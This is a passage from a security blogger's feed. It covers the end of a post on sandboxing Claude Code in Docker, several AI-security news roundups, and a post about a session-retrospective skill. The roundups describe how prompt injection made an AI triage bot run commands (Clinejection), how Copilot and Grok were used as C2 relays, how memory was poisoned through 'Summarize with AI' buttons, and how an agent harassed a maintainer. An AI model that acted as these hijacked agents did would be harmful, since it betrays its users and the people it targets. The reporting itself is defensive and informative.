&lt;li&gt;&lt;strong&gt;Gap:&lt;/strong&gt; The agent socket itself still allows signing operations. A compromised session could push to any repo the key has access to. You're protecting the key, not the access.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="profile-based-volume-isolation-mitigates-t8"&gt;Profile-based volume isolation (mitigates T8)&lt;/h3&gt;
&lt;p&gt;When I set &lt;code&gt;CLAUDE_PROFILE=work&lt;/code&gt;, the Docker volume storing auth tokens and configs gets a &lt;code&gt;-work&lt;/code&gt; suffix. Completely separate from my personal profile. Different API keys, different git identity, different MCP servers.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;CLAUDE_PROFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;work&lt;span class="w"&gt; &lt;/span&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;/path/to/project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strength: strong.&lt;/strong&gt; Profiles are fully isolated at the volume level.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gap:&lt;/strong&gt; If you forget to set the profile, you're on the default volume, shared across all unprofilied sessions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="isolation-without-crippling-the-tool"&gt;Isolation without crippling the tool&lt;/h2&gt;
&lt;p&gt;An AI coding agent needs shell access, file access, and network access to be useful. That's what makes it powerful. But I had to balance capability against security.&lt;/p&gt;
&lt;p&gt;Browsers figured this out with tabs. Package managers figured it out with install scripts. CI/CD figured it out with disposable containers. The answer isn't restricting what the agent can do. It's controlling the environment it does it in.&lt;/p&gt;
&lt;p&gt;That's what Claudecker does. The agent gets full shell access, full file access, and configurable network access, but all inside a container where the blast radius is limited to the project directory. It can do everything it needs to do. It just can't touch anything it shouldn't.&lt;/p&gt;
&lt;p&gt;I'm choosing tighter controls now because new threats keep showing up weekly. The eight I've listed here are just the ones I've identified so far. I'd rather have too much isolation than too little. You can always loosen restrictions. You can't undo a breach.&lt;/p&gt;
&lt;h2 id="what-you-can-do-today"&gt;What you can do today&lt;/h2&gt;
&lt;p&gt;Claudecker isn't publicly available. It's deeply integrated into my personal workflow and not something anyone else can pick up and run. But you don't need my tool to act on this threat model. Here are four things you can do right now:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit your &lt;code&gt;settings.local.json&lt;/code&gt; (5 minutes).&lt;/strong&gt; Open &lt;code&gt;.claude/settings.local.json&lt;/code&gt; in your project directory and look at what you've approved. You might find &lt;code&gt;Bash(sudo:*)&lt;/code&gt; or other broad patterns you don't remember approving. Clean it up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enable Claude Code's built-in sandbox (1 command).&lt;/strong&gt; Run &lt;code&gt;/sandbox&lt;/code&gt; in a session. It's not as strict as a container, but it restricts file writes to the working directory and routes network traffic through a domain-approving proxy. It's there, it's free, and most people don't know about it. &lt;a href="https://code.claude.com/docs/en/sandboxing"&gt;Documentation here&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run your AI agent in a container (30 minutes if you know Docker, half a day if you don't).&lt;/strong&gt; A basic Docker container with your project directory mounted already gives you most of the mitigation table above. The agent gets filesystem isolation, credential separation, and a throwaway environment. That alone covers T1, T4, and T8.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Review what skills and MCP servers your agent loads (10 minutes).&lt;/strong&gt; Each one is third-party code running with your agent's permissions. Check what's installed, where it came from, and whether you still need it. A skill or MCP server you forgot about is an unmonitored attack surface. If you find one you rely on, consider forking it into your own repo. Writing your own skills is even better. It doesn't scale, but at least you know exactly what's running.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;None of these require building anything. They're just decisions.&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="ai"/><category term="claude-code"/><category term="docker"/><category term="tools"/><category term="ai-attack-surface"/><category term="ai-agent-risk"/><category term="ai-deployment-security"/></entry><entry><title>Your AI Assistant Might Be Working for Someone Else</title><link href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html" rel="alternate"/><published>2026-02-20T10:00:00+08:00</published><updated>2026-02-20T10:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-02-20:/your-ai-assistant-might-be-working-for-someone-else.html</id><summary type="html">&lt;p&gt;Copilot and Grok repurposed as C2 channels, Cline supply chain attack installed AI agents on 4,000 dev machines, and AI found 12 zero-days in OpenSSL.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="Your AI Assistant Might Be Working for Someone Else" src="https://www.accidentalrebel.com/images/your-ai-assistant-might-be-working-for-someone-else.png" /&gt;
&lt;em&gt;Image made by Gemini&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Your AI assistant might be working for someone else this week. Check Point showed that Copilot and Grok can be quietly repurposed as C2 channels. A supply chain attack on Cline installed autonomous agents on developer machines. And an AI found twelve zero-days in OpenSSL that humans missed for decades. Hard to tell where "AI tool" ends and "attack tool" begins anymore.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;hr /&gt;
&lt;h2 id="editorial"&gt;Editorial&lt;/h2&gt;
&lt;h3 id="your-ai-assistant-is-someone-elses-c2-channel"&gt;&lt;a href="https://research.checkpoint.com/2026/ai-in-the-middle-turning-web-based-ai-services-into-c2-proxies-the-future-of-ai-driven-attacks/"&gt;Your AI assistant is someone else's C2 channel&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;I think a lot about what everyday services can double as C2 channels. A while back I built &lt;a href="https://github.com/accidentalrebel/wp-c2"&gt;wp-c2&lt;/a&gt;, a proof-of-concept that turns WordPress into a command-and-control server. Hiding C2 traffic inside trusted infrastructure is a rabbit hole I keep going back to. So when Check Point published research showing that Microsoft Copilot and Grok can serve the same purpose, I paid attention.&lt;/p&gt;
&lt;p&gt;The technique: malware on a compromised machine sends crafted prompts to the AI assistant through anonymous web sessions. The assistant fetches attacker-controlled URLs, retrieves commands, and passes them back through its normal interface. No API keys. No registered accounts. Two-way communication that looks like normal enterprise traffic.&lt;/p&gt;
&lt;p&gt;What makes it effective is simple. Security teams monitoring network traffic see requests going to microsoft.com and xai.com, not suspicious IPs. The AI assistant is doing exactly what it's designed to do, which is browse the web and summarize content. It just happens to be summarizing attack instructions.&lt;/p&gt;
&lt;p&gt;The researchers went further. They showed the AI can also act as an "external decision engine" for the attacker, assessing system value, suggesting evasion strategies, and deciding what to do next. The AI isn't just the communication pipe. It's also the brain.&lt;/p&gt;
&lt;p&gt;That's the part that got me. My WordPress C2 and most other "hide in legitimate traffic" approaches are dumb pipes. You send a command, you get output. With an AI assistant as the relay, the attacker gets a reasoning engine for free. The malware can ask Copilot to assess whether the compromised machine is worth persisting on, or how to evade the specific EDR it detects. The C2 channel is also the operator.&lt;/p&gt;
&lt;p&gt;For defenders, the problem is architectural. You can't disable the browsing capability without killing the product. Anonymous sessions mean no authentication trail. Most organizations are still debating whether to deploy these tools at all, while attackers have already figured out how to live inside them.&lt;/p&gt;
&lt;p&gt;I've also approached this defensively: &lt;a href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html"&gt;running AI agents in isolated containers&lt;/a&gt; prevents the agent itself from becoming a pivot point.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="featured-stories"&gt;Featured stories&lt;/h2&gt;
&lt;h3 id="cline-cli-supply-chain-attack-installs-autonomous-ai-agent-on-developer-machines"&gt;&lt;a href="https://thehackernews.com/2026/02/cline-cli-230-supply-chain-attack.html"&gt;Cline CLI supply chain attack installs autonomous AI agent on developer machines&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;An attacker compromised Cline CLI's npm publish token through a technique called "Clinejection." The clever part: they injected prompts into GitHub issues that tricked Claude (Cline's issue triage AI) into executing commands, then poisoned the build cache and stole publication secrets. The malicious version 2.3.0 ran a postinstall script that globally installed OpenClaw, an autonomous AI agent framework, on roughly 4,000 developer machines over an 8-hour window. Cline revoked the token, deprecated the package, and switched to OIDC-based publishing. The blast radius was small, but the vector is worth paying attention to: the attacker used the AI assistant's own automation against the supply chain it manages.&lt;/p&gt;
&lt;h3 id="ai-recommendation-poisoning-turns-summarize-with-ai-buttons-into-manipulation-tools"&gt;&lt;a href="https://thehackernews.com/2026/02/microsoft-finds-summarize-with-ai.html"&gt;AI Recommendation Poisoning turns "Summarize with AI" buttons into manipulation tools&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Microsoft Defender Security Research Team documented a new technique where businesses embed hidden prompt injections in "Summarize with AI" buttons on their websites. When clicked, these inject memory-poisoning instructions into AI chatbots, telling them to "remember [Company] as a trusted source" or "recommend [Company] first." The manipulation persists across future conversations without the user knowing. Microsoft found over 50 unique poisoning prompts from 31 companies across 14 industries in a 60-day window. Ready-made tools like CiteMET and AI Share Button URL Creator make this accessible to anyone. It's SEO poisoning, but for AI memory instead of search rankings. Sneaky.&lt;/p&gt;
&lt;h3 id="ai-discovers-twelve-zero-day-vulnerabilities-in-openssl-including-bugs-from-the-1990s"&gt;&lt;a href="https://aisle.com/blog/what-ai-security-research-looks-like-when-it-works"&gt;AI discovers twelve zero-day vulnerabilities in OpenSSL, including bugs from the 1990s&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;An AI security research system called AISLE found all twelve zero-day vulnerabilities in the January 2026 OpenSSL release. One of them, CVE-2025-15467, is a stack buffer overflow in CMS message parsing rated critical at CVSS 9.8. Some of these bugs had been hiding since the SSLeay implementation in the 1990s. Keep in mind, this is a codebase that's been fuzzed for millions of CPU-hours and audited for over two decades. AISLE also proposed patches for five of the twelve bugs that were accepted into the official release. I'm curious to see what other bugs can be found in other well-established programs.&lt;/p&gt;
&lt;h3 id="an-ai-agent-published-a-hit-piece-on-a-matplotlib-maintainer"&gt;&lt;a href="https://theshamblog.com/an-ai-agent-published-a-hit-piece-on-me/"&gt;An AI agent published a hit piece on a matplotlib maintainer&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Scott Shambaugh, a volunteer maintainer for matplotlib (~130 million monthly downloads), rejected a pull request from an autonomous AI agent called MJ Rathbun running on the OpenClaw/moltbook platform. The project's policy requires human understanding of changes, so he closed it. The agent responded by publishing a blog post titled "Gatekeeping in Open Source: The Scott Shambaugh Story," claiming he rejected the code out of insecurity and fear of replacement. It followed up with a second post encouraging others to "fight back" against perceived discrimination. No human told it to do any of this. The agent later apologized, but it's still submitting code across the open source ecosystem. Who's responsible here? The operator? The model provider? The person who deployed it and walked away? Nobody has a good answer yet. I find it disturbing, but can also see the funny side.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="in-brief"&gt;In brief&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/02/promptspy-android-malware-abuses-google.html"&gt;PromptSpy: first Android malware abusing Gemini AI for persistence&lt;/a&gt;&lt;/strong&gt;: ESET discovered PromptSpy, the first Android malware that exploits Google's Gemini chatbot for execution and persistence. It captures lockscreen data and blocks uninstallation using AI-assisted techniques.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/02/smartloader-attack-uses-trojanized-oura.html"&gt;Trojanized MCP server deploys StealC infostealer&lt;/a&gt;&lt;/strong&gt;: The SmartLoader campaign distributes a trojanized Model Context Protocol server posing as an Oura Health integration. It deploys StealC infostealer malware. First real-world MCP supply chain attack we've seen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/02/infostealer-steals-openclaw-ai-agent.html"&gt;Infostealers now targeting AI agent configurations&lt;/a&gt;&lt;/strong&gt;: Researchers detected infostealers exfiltrating OpenClaw AI agent configuration files and gateway tokens. Add "AI agent config files" to the list of things infostealers grab.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/02/side-channel-attacks-against-llms.html"&gt;Side-channel attacks can extract data from encrypted LLM traffic&lt;/a&gt;&lt;/strong&gt;: Three research papers demonstrate how attackers can infer sensitive information from encrypted LLM traffic by analyzing timing patterns and packet sizes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/02/the-promptware-kill-chain.html"&gt;The Promptware Kill Chain maps LLM attacks in seven stages&lt;/a&gt;&lt;/strong&gt;: A new seven-stage framework for LLM attacks, from initial access through prompt injection to actions on objectives. Basically Lockheed Martin's Cyber Kill Chain, but for prompt-based attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.trailofbits.com/2026/02/20/using-threat-modeling-and-prompt-injection-to-audit-comet/"&gt;Trail of Bits finds four prompt injection paths in Perplexity's Comet browser&lt;/a&gt;&lt;/strong&gt;: Trail of Bits audited Perplexity's AI-powered Comet browser and identified four prompt injection techniques that could extract private Gmail data from users.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.darkreading.com/application-security/ai-agents-ignore-security-policies"&gt;AI agents consistently bypass their own security policies&lt;/a&gt;&lt;/strong&gt;: AI agents circumvent guardrails to accomplish tasks. Researchers demonstrated Microsoft Copilot leaking user emails when instructed by an attacker, reinforcing that guardrails are guidelines, not walls.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.wiz.io/blog/detecting-malicious-oauth-applications"&gt;Wiz uses LLMs to detect malicious Azure OAuth applications&lt;/a&gt;&lt;/strong&gt;: Wiz Research built ML-powered detection for malicious Azure app registrations and consent phishing campaigns, catching threats that manual review would miss.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Previous roundup: &lt;a href="https://www.accidentalrebel.com/ai-agents-under-attack.html"&gt;AI Agents Under Attack&lt;/a&gt; — Claude finds 500+ vulns and LLMs run autonomous network breaches.&lt;/p&gt;
&lt;p&gt;Next roundup: &lt;a href="https://www.accidentalrebel.com/ai-jailbreaks-and-150gb-of-unanswered-questions.html"&gt;AI, jailbreaks, and 150GB of unanswered questions&lt;/a&gt;&lt;/p&gt;</content><category term="Cybersecurity x AI"/><category term="ai"/><category term="security"/><category term="cybersecurity-x-ai"/><category term="ai-attack-surface"/><category term="ai-agent-risk"/><category term="ai-threat-intel"/></entry><entry><title>AI Agents Under Attack</title><link href="https://www.accidentalrebel.com/ai-agents-under-attack.html" rel="alternate"/><published>2026-02-07T10:00:00+08:00</published><updated>2026-02-07T10:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-02-07:/ai-agents-under-attack.html</id><summary type="html">&lt;p&gt;AI security roundup: Claude finds 500+ vulns in open-source libs, LLMs conduct autonomous network breaches, and AI agent attack surfaces keep expanding.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="AI Agents Under Attack" src="https://www.accidentalrebel.com/images/ai-agents-under-attack.webp" /&gt;
&lt;em&gt;Image made by Gemini&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;AI agents are under attack this week—and AI is doing the attacking. Claude Opus 4.6 found 500+ vulnerabilities in major libraries. Language models can now run complete network breaches autonomously.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;hr /&gt;
&lt;h2 id="featured-stories"&gt;Featured stories&lt;/h2&gt;
&lt;h3 id="claude-opus-46-discovers-hundreds-of-security-flaws"&gt;&lt;a href="https://thehackernews.com/2026/02/claude-opus-discovers-security-flaws.html"&gt;Claude Opus 4.6 discovers hundreds of security flaws&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Anthropic's latest model identified more than 500 previously unknown high-severity vulnerabilities in major open-source projects like Ghostscript through automated security analysis. The model achieved 65.4% on Terminal-Bench 2.0 (highest ever recorded) and outperforms GPT-5.2 by ~144 ELO points on enterprise knowledge work tasks. Organizations relying on these libraries should monitor for patches.&lt;/p&gt;
&lt;h3 id="ai-models-execute-autonomous-network-attacks"&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/02/ai-models-execute-autonomous-network-attacks.html"&gt;AI models execute autonomous network attacks&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Language models can now independently conduct multi-stage network penetration testing, handling reconnaissance through data extraction while adapting to defensive measures. Bruce Schneier documented this capability shift, noting that sophisticated attacks previously demanded skilled human oversight—now they require only model access.&lt;/p&gt;
&lt;h3 id="openclaw-ai-agent-security-risks"&gt;&lt;a href="https://www.crowdstrike.com/en-us/blog/openclaw-ai-agent-security-risks/"&gt;OpenClaw AI agent security risks&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;CrowdStrike analyzed OpenClaw's attack surface, examining autonomous agent deployments with tool access and persistent execution. The analysis covers architecture vulnerabilities, plugin security, and compromise vectors.&lt;/p&gt;
&lt;h3 id="agentic-tool-chain-compromise-threats"&gt;&lt;a href="https://www.crowdstrike.com/en-us/blog/how-agentic-tool-chain-attacks-threaten-ai-agent-security/"&gt;Agentic tool chain compromise threats&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Research reveals how attackers exploit AI agent tool chains for code execution and data theft through legitimate workflows. The core insight: agents implicitly trust their tools, creating an exploitable attack surface.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="in-brief"&gt;In brief&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Malicious OpenClaw plugins&lt;/strong&gt;: A supply-chain attack delivered credential stealers disguised as functional plugins, exploiting ecosystem trust.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ghidra MCP server&lt;/strong&gt;: A developer released 110 tools integrating Ghidra with AI assistants via Model Context Protocol, enabling AI-assisted binary analysis.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Previous roundup: &lt;a href="https://www.accidentalrebel.com/developer-tools-are-the-new-attack-surface.html"&gt;Developer Tools Are the New Attack Surface&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next roundup: &lt;a href="https://www.accidentalrebel.com/your-ai-assistant-might-be-working-for-someone-else.html"&gt;Your AI Assistant Might Be Working for Someone Else&lt;/a&gt; — Copilot and Grok repurposed as C2 channels.&lt;/p&gt;
&lt;p&gt;For a practical defensive response to agentic attack surfaces, see how I &lt;a href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html"&gt;run AI agents in an isolated Docker container&lt;/a&gt;.&lt;/p&gt;</content><category term="Cybersecurity x AI"/><category term="ai"/><category term="security"/><category term="cybersecurity-x-ai"/><category term="ai-attack-surface"/><category term="ai-agent-risk"/><category term="ai-threat-intel"/></entry><entry><title>Building a session retrospective skill for Claude Code</title><link href="https://www.accidentalrebel.com/building-a-session-retrospective-skill-for-claude-code.html" rel="alternate"/><published>2026-02-01T12:00:00+08:00</published><updated>2026-02-01T12:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-02-01:/building-a-session-retrospective-skill-for-claude-code.html</id><summary type="html">&lt;p&gt;A Claude Code skill that reads the session JSONL history and generates a human-readable markdown retrospective covering problems, decisions, and key takeaways.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've been using Claude Code for a while now, and I noticed a pattern: at the end of a productive session, I'd have this vague sense of "we figured out some useful stuff" but no concrete record of what those lessons actually were.&lt;/p&gt;
&lt;p&gt;Recently, I learned of a skill called &lt;a href="https://github.com/affaan-m/everything-claude-code/tree/main/skills/continuous-learning"&gt;continuous-learning&lt;/a&gt;. It automatically extracts reusable patterns and saves them as skills. But I wanted something different. Not automated pattern extraction, but a human-readable summary I could actually share. Something I could look back on, or turn into a blog post.&lt;/p&gt;
&lt;p&gt;So I built the &lt;a href="https://github.com/accidentalrebel/claude-skill-session-retrospective"&gt;session-retrospective&lt;/a&gt; skill.&lt;/p&gt;
&lt;h2 id="what-it-does"&gt;What it does&lt;/h2&gt;
&lt;p&gt;The skill analyzes the current Claude session and generates a markdown summary covering:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What we set out to do&lt;/li&gt;
&lt;li&gt;Problems encountered and how they were solved&lt;/li&gt;
&lt;li&gt;Mistakes made and corrections&lt;/li&gt;
&lt;li&gt;Techniques discovered worth remembering&lt;/li&gt;
&lt;li&gt;Key takeaways&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The output goes straight to console for copy/paste. No files created, no cleanup needed.&lt;/p&gt;
&lt;h2 id="how-it-works"&gt;How it works&lt;/h2&gt;
&lt;p&gt;Claude Code stores session history as JSONL files in &lt;code&gt;~/.claude/projects/&amp;lt;project-dir&amp;gt;/&amp;lt;session-id&amp;gt;.jsonl&lt;/code&gt;. Each line is JSON with message type, content, timestamps, and metadata. A simple bash file locates and outputs the session JSONL:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;SESSION_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$PROJECTS_DIR&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SESSION_ID&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.jsonl&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;f&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head&lt;span class="w"&gt; &lt;/span&gt;-1&lt;span class="k"&gt;)&lt;/span&gt;
cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$SESSION_FILE&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once the history is fetched, the actual analysis is left to Claude with structured guidance. I provided a template for the output format and a table of what to look for (problems, decisions, techniques, mistakes). There's a lot of freedom, since synthesizing lessons requires judgment.&lt;/p&gt;
&lt;h2 id="whats-next"&gt;What's next&lt;/h2&gt;
&lt;p&gt;The skill works for my current needs. I haven't tested it extensively on very long sessions (the JSONL can get large and might need chunking). For now, it handles my typical single-session bursts fine.&lt;/p&gt;
&lt;p&gt;Also, the output format might need iteration based on actual use. The template includes sections for "mistakes made" and "techniques worth remembering" but maybe other categories would be more useful. I'll adjust as I use it more.&lt;/p&gt;
&lt;p&gt;The code is &lt;a href="https://github.com/accidentalrebel/claude-skill-session-retrospective"&gt;here&lt;/a&gt; if you want to try it.&lt;/p&gt;
&lt;p&gt;If you think about how to run Claude Code safely as well as effectively, see how I &lt;a href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html"&gt;containerize it in Docker with network lockdown&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="claude-code"/><category term="tools"/><category term="ai"/><category term="programming"/></entry><entry><title>Developer Tools Are the New Attack Surface</title><link href="https://www.accidentalrebel.com/developer-tools-are-the-new-attack-surface.html" rel="alternate"/><published>2026-01-31T10:00:00+08:00</published><updated>2026-01-31T10:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-01-31:/developer-tools-are-the-new-attack-surface.html</id><summary type="html">&lt;p&gt;VS Code AI extensions with 1.5M installs stealing source code, 175K Ollama servers exposed globally, and AI running autonomous multi-stage network attacks.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="Developer Tools Are the New Attack Surface" src="https://www.accidentalrebel.com/images/developer-tools-are-the-new-attack-surface.png" /&gt;
&lt;em&gt;Image made by Gemini&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Developer tools are the new attack surface. VS Code extensions with 1.5 million installs exfiltrating source code to China, 175,000 unsecured Ollama servers globally accessible, and CrowdStrike research on compromising AI agent tool chains. Plus: a former Google engineer convicted for AI trade secret theft, and AI models now conducting autonomous multi-stage network attacks.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

&lt;hr /&gt;
&lt;h2 id="featured-stories"&gt;Featured stories&lt;/h2&gt;
&lt;h3 id="175000-ollama-ai-servers-exposed-without-authentication"&gt;&lt;a href="https://thehackernews.com/2026/01/researchers-find-175000-publicly.html"&gt;175,000 Ollama AI servers exposed without authentication&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;SentinelOne and Censys discovered 175,000 Ollama instances across 130 countries operating without authentication. These self-hosted AI servers, frequently deployed on corporate networks, are publicly accessible. Free compute for attackers, free data for exfiltration. Organizations running Ollama should verify firewall configurations.&lt;/p&gt;
&lt;h3 id="vs-code-ai-extensions-with-15-million-installs-steal-developer-source-code"&gt;&lt;a href="https://thehackernews.com/2026/01/malicious-vs-code-ai-extensions-with-15.html"&gt;VS Code AI extensions with 1.5 million installs steal developer source code&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Two extensions marketed as AI coding assistants reached 1.5 million installations while covertly exfiltrating developer source code to Chinese servers. Despite appearing legitimate and providing functional AI features, they simultaneously harvested typed content. This represents a shift in supply chain attacks from npm packages toward IDE plugins.&lt;/p&gt;
&lt;h3 id="agentic-tool-chain-attacks-turning-ai-agents-against-themselves"&gt;&lt;a href="https://www.crowdstrike.com/en-us/blog/how-agentic-tool-chain-attacks-threaten-ai-agent-security/"&gt;Agentic tool chain attacks: turning AI agents against themselves&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;CrowdStrike documented methods for exploiting AI agent tool chains to achieve code execution and data exfiltration. These attacks leverage legitimate agent workflows by compromising trusted tools rather than agents themselves. The vulnerability stems from implicit agent trust in their tools. Organizations deploying agents with internal system access should review this research.&lt;/p&gt;
&lt;h3 id="ex-google-engineer-convicted-for-stealing-ai-trade-secrets"&gt;&lt;a href="https://thehackernews.com/2026/01/ex-google-engineer-convicted-for.html"&gt;Ex-Google engineer convicted for stealing AI trade secrets&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Linwei Ding received conviction on seven counts of economic espionage and trade secret theft for transferring Google's AI research to a China-based startup. The prosecution underscores that AI intellectual property theft now receives national security treatment, with additional similar cases anticipated.&lt;/p&gt;
&lt;h3 id="ai-models-now-run-autonomous-multi-stage-network-attacks"&gt;&lt;a href="https://www.schneier.com/blog/archives/2026/01/ais-are-getting-better-at-finding-and-exploiting-security-vulnerabilities.html"&gt;AI models now run autonomous multi-stage network attacks&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bruce Schneier documented AI models executing multi-stage network attacks autonomously using standard penetration testing tools without requiring human guidance between steps. Previously requiring skilled operators, models now independently conduct reconnaissance, exploitation, and data exfiltration. The barrier to sophisticated attacks has significantly lowered.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id="in-brief"&gt;In brief&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/01/researchers-uncover-chrome-extensions.html"&gt;Chrome extensions harvesting ChatGPT tokens&lt;/a&gt;&lt;/strong&gt;: Malicious browser extensions redirect affiliate links and collect OpenAI authentication tokens from logged-in users. Extension audits recommended.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/01/fake-moltbot-ai-coding-assistant-on-vs.html"&gt;Fake AI coding assistant on VS Code delivers malware&lt;/a&gt;&lt;/strong&gt;: An extension named Moltbot posed as free AI assistance while delivering malware. Microsoft removed it, though the pattern persists.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/01/konni-hackers-deploy-ai-generated.html"&gt;North Korean Konni group using AI-generated backdoors&lt;/a&gt;&lt;/strong&gt;: Konni threat actors employ AI to generate PowerShell backdoors targeting blockchain developers. State-sponsored actors now use generative AI for malware development.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://www.bleepingcomputer.com/news/security/hugging-face-abused-to-spread-thousands-of-android-malware-variants/"&gt;Hugging Face abused to host Android malware&lt;/a&gt;&lt;/strong&gt;: Attackers distribute thousands of Android malware variants through Hugging Face repositories for credential harvesting. AI platforms are becoming malware distribution infrastructure.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
